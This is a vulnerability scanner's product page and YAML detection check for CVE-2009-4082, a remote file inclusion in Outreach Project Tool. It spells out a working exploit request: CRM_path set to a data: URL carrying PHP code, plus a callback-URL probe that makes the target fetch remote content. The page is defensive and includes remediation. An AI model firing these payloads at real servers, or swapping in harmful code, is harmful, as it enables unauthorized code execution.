Outreach Project Tool — 1 vulnerability check
noctis ships 1 vulnerability check for Outreach Project Tool, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Outreach Project Tool Forum_Include CRM_path Remote File Inclusion
| CVE | CVE-2009-4082 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/outreach-project-tool/CVE-2009-4082.yaml |
Tests Outreach Project Tool (OPT) for the unauthenticated file inclusion in forums/Forum_Include/index.php, which includes CRM_path followed by "/forums/Forum_Include/forum_admin.inc" when register_globals is On. The feed requests that page under the usual install folders with CRM_path set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. When OOB is enabled, CRM_path is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP include warning naming a random directory followed by "/forums/Forum_Include/forum_admin.inc" shows that the value reaches include() unchecked. The snippet only prints a hash and writes nothing on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/forums/Forum_Include/index.php?CRM_path={{probe.data}} - Parses / computes the next value with a Rhai script
- Checks
rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: Outreach Project Tool Forum_Include CRM_path Remote File Inclusion (CVE-2009-4082) - HTTP(S) request
GET {{dir}}/forums/Forum_Include/index.php?CRM_path={{probe.marker}} - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/forums/Forum_Include/index.php?CRM_path={{oob_url}}%3F - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Outreach Project Tool Forum_Include CRM_path Remote File Inclusion (CVE-2009-4082)
- Checks
warn_prooffor^noctis[0-9a-z]+/forums/Forum_Include/forum_admin\.inc$→ finding QoD 75: Outreach Project Tool Forum_Include CRM_path File Inclusion (CVE-2009-4082)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-4082
- https://www.exploit-db.com/exploits/10218
- http://packetstormsecurity.org/0911-exploits/opt-rfi.txt
- https://sourceforge.net/projects/outreach/
Feed source — tests/vulnerabilities/outreach-project-tool/CVE-2009-4082.yaml
# Outreach Project Tool forums/Forum_Include/index.php CRM_path remote file
# inclusion — CVE-2009-4082
#
# Outreach Project Tool (OPT, SourceForge project "outreach", last release
# 1.2.7 MAX in 2006, never fixed). opt/forums/Forum_Include/index.php is meant
# to be included by the forum pages, but it can be requested directly, and its
# first statement is:
#
# include "$CRM_path/forums/Forum_Include/forum_admin.inc";
#
# With register_globals On, ?CRM_path=<x> includes
# "<x>/forums/Forum_Include/forum_admin.inc" before any login or check
# (advisory: exploit-db 10218, CRM_path=<URL>). OPT's own register_globals
# emulation (include/general.php) is never loaded by this page, so a server
# with register_globals Off is not exposed — OPT itself runs fine there.
#
# Detection, per usual install folder (INSTALL puts opt/ in the web root, so
# /opt first, then /OPT, the web root and /outreach):
# 1. In-band code execution (QoD 97): CRM_path is a data: URL holding
# <?php echo md5(A*B);exit;?> with random A and B. When PHP may include
# URLs (allow_url_include, PHP >= 5.2) the code runs and the reply carries
# md5 of the product, a value the request never contains. If the wrapper
# is refused, PHP's warning quotes the code text, not the md5. The code has
# no quotes, so magic_quotes_gpc does not break it, and it writes nothing.
# 2. OOB (QoD 97, only when OOB is enabled): CRM_path is the noctis callback
# URL followed by "?", so the appended "/forums/..." lands in the query
# string; a fetch of the URL is the remote inclusion (allow_url_fopen on
# PHP 4 / 5.0 / 5.1, allow_url_include later). This also covers servers
# that hide PHP errors and output.
# 3. Fallback (QoD 75): CRM_path is a random name; the reply must carry PHP's
# include() / main() / "Failed opening … for inclusion" warning naming
# "<random>/forums/Forum_Include/forum_admin.inc": the value went,
# concatenated, into include().
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_outreach_project_tool_rfi_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801070, GPL-2.0-only). Improvements: real code
# execution / OOB proof instead of the source plugin's "vt-rfi.txt anywhere
# in the reply" match (which any page echoing its query string satisfies),
# the suffix-anchored warning match, several install folders without a prior
# product detection, and no version-only fallback: every OPT release is
# <= 1.2.7, so the source's version branch flags every OPT install, including
# the register_globals Off ones where the page ignores CRM_path.
uid: 12683b39-d606-48df-a627-54c1571ea1e1
name: "Outreach Project Tool Forum_Include CRM_path Remote File Inclusion (CVE-2009-4082)"
description: |
Tests Outreach Project Tool (OPT) for the unauthenticated file inclusion in
forums/Forum_Include/index.php, which includes CRM_path followed by
"/forums/Forum_Include/forum_admin.inc" when register_globals is On. The
feed requests that page under the usual install folders with CRM_path set
to a data: URL carrying a small PHP snippet that prints the md5 of the
product of two random numbers; that md5 in the reply confirms that the
server ran code supplied in the request. When OOB is enabled, CRM_path is
also set to the scanner's callback URL, and a fetch of that URL confirms the
remote inclusion even when PHP output and errors are hidden. Otherwise, a
PHP include warning naming a random directory followed by
"/forums/Forum_Include/forum_admin.inc" shows that the value reaches
include() unchecked. The snippet only prints a hash and writes nothing on
the server.
cves: [CVE-2009-4082]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [outreach-project-tool, opt, php, rfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4082"
- "https://www.exploit-db.com/exploits/10218"
- "http://packetstormsecurity.org/0911-exploits/opt-rfi.txt"
- "https://sourceforge.net/projects/outreach/"
# OpenVAS/Greenbone NASL 2009/gb_outreach_project_tool_rfi_vuln.nasl (GPL-2.0-only)
steps:
# ── Probe values, shared by every folder ─────────────────────────────────
# md5(A*B) is printed only when the included snippet actually runs.
- id: build-probe
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
#{
data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
expect: md5("" + (a * b)),
marker: "noctis" + rand_str(12)
}
store_as: probe
- id: init-warn-found
action: set_var
var_name: warn_found
var_value: false
- id: init-warn-dir
action: set_var
var_name: warn_dir
var_value: ""
- id: init-warn-proof
action: set_var
var_name: warn_proof
var_value: ""
- id: init-oob-sent
action: set_var
var_name: oob_sent
var_value: false
# ── Loop group: every following step up to the OOB wait runs once per
# install folder. Each pass resets the values it reads.
- id: init-rce-r
action: set_var
var_name: rce_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/opt", "/OPT", "", "/outreach"]
- id: init-warn-r
action: set_var
var_name: warn_r
var_value: {status: 0, body: ""}
- id: init-rce-proof
action: set_var
var_name: rce_proof
var_value: ""
# ── 1. data: URL — in-band code execution ────────────────────────────────
- id: rce-probe
action: http_request
method: GET
path: "{{dir}}/forums/Forum_Include/index.php?CRM_path={{probe.data}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rce_r
- id: rce-check
action: script
code: |
if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
store_as: rce_proof
- id: report-rce
action: match
source: rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'rce_proof != ""'
on_match:
finding:
title: "Outreach Project Tool Forum_Include CRM_path Remote File Inclusion (CVE-2009-4082)"
description: "An unauthenticated request to forums/Forum_Include/index.php with CRM_path set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. The page includes CRM_path followed by /forums/Forum_Include/forum_admin.inc as its first statement, so an attacker can run any PHP code on the server."
remediation: "Outreach Project Tool is no longer maintained and was never fixed (1.2.7 is the last release): remove it from the server. Until then, block access to opt/forums/Forum_Include/, set register_globals Off (OPT emulates it where it needs it) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/forums/Forum_Include/index.php?CRM_path=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
stop: true
# ── 3. Random folder name — include() warning naming it (fallback) ───────
- id: warn-probe
action: http_request
method: GET
path: "{{dir}}/forums/Forum_Include/index.php?CRM_path={{probe.marker}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
# Also when the code probe got no reply (status 0, e.g. a filter dropping
# "<?php"): this plain request may still get through.
condition: "warn_found == false && rce_r.status != 404"
store_as: warn_r
- id: warn-check
action: script
code: |
let f = probe.marker + "/forums/Forum_Include/forum_admin.inc";
let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
let hit = b.contains("Failed opening '" + f + "' for inclusion");
for w in ["include(", "include_once(", "require(", "require_once(", "main("] {
if b.contains(w + f + ")") { hit = true; }
}
hit
condition: "warn_found == false"
store_as: warn_hit
- id: warn-dir
action: script
code: "dir"
condition: "warn_found == false && warn_hit"
store_as: warn_dir
- id: warn-proof
action: script
code: 'probe.marker + "/forums/Forum_Include/forum_admin.inc"'
condition: "warn_found == false && warn_hit"
store_as: warn_proof
- id: warn-found
action: set_var
var_name: warn_found
var_value: true
condition: "warn_hit"
# ── 2. Callback URL — remote inclusion seen out of band ──────────────────
# Sent to every folder not answering 404 (also when the code probe got no
# reply, e.g. a filter dropping it), since a server hiding PHP errors
# gives no in-band sign. "%3F" makes the appended path a query string.
- id: oob-probe
action: http_request
method: GET
path: "{{dir}}/forums/Forum_Include/index.php?CRM_path={{oob_url}}%3F"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && rce_r.status != 404"
- id: oob-sent
action: set_var
var_name: oob_sent
var_value: true
condition: "oob_enabled && rce_r.status != 404"
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && oob_sent"
on_success:
finding:
title: "Outreach Project Tool Forum_Include CRM_path Remote File Inclusion (CVE-2009-4082)"
description: "An unauthenticated request to forums/Forum_Include/index.php with CRM_path set to the noctis callback URL made the server fetch that URL: the page includes CRM_path without any check, so an attacker can make it fetch and run PHP code from a server they control."
remediation: "Outreach Project Tool is no longer maintained and was never fixed (1.2.7 is the last release): remove it from the server. Until then, block access to opt/forums/Forum_Include/, set register_globals Off (OPT emulates it where it needs it) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after GET <dir>/forums/Forum_Include/index.php?CRM_path=<OOB URL>? (remote file inclusion)"
stop: true
# ── Fallback finding: include() warning naming the random folder ─────────
- id: report-warn
action: match
source: warn_proof
pattern: "^noctis[0-9a-z]+/forums/Forum_Include/forum_admin\\.inc$"
condition: 'warn_proof != ""'
on_match:
finding:
title: "Outreach Project Tool Forum_Include CRM_path File Inclusion (CVE-2009-4082)"
description: "An unauthenticated request to forums/Forum_Include/index.php with CRM_path set to a random folder name returned a PHP include warning for that name followed by /forums/Forum_Include/forum_admin.inc: the page passes CRM_path to include() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
remediation: "Outreach Project Tool is no longer maintained and was never fixed (1.2.7 is the last release): remove it from the server. Until then, block access to opt/forums/Forum_Include/, set register_globals Off (OPT emulates it where it needs it) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{warn_dir}}/forums/Forum_Include/index.php?CRM_path={{probe.marker}} returned a PHP include warning for {{warn_proof}}"
stop: true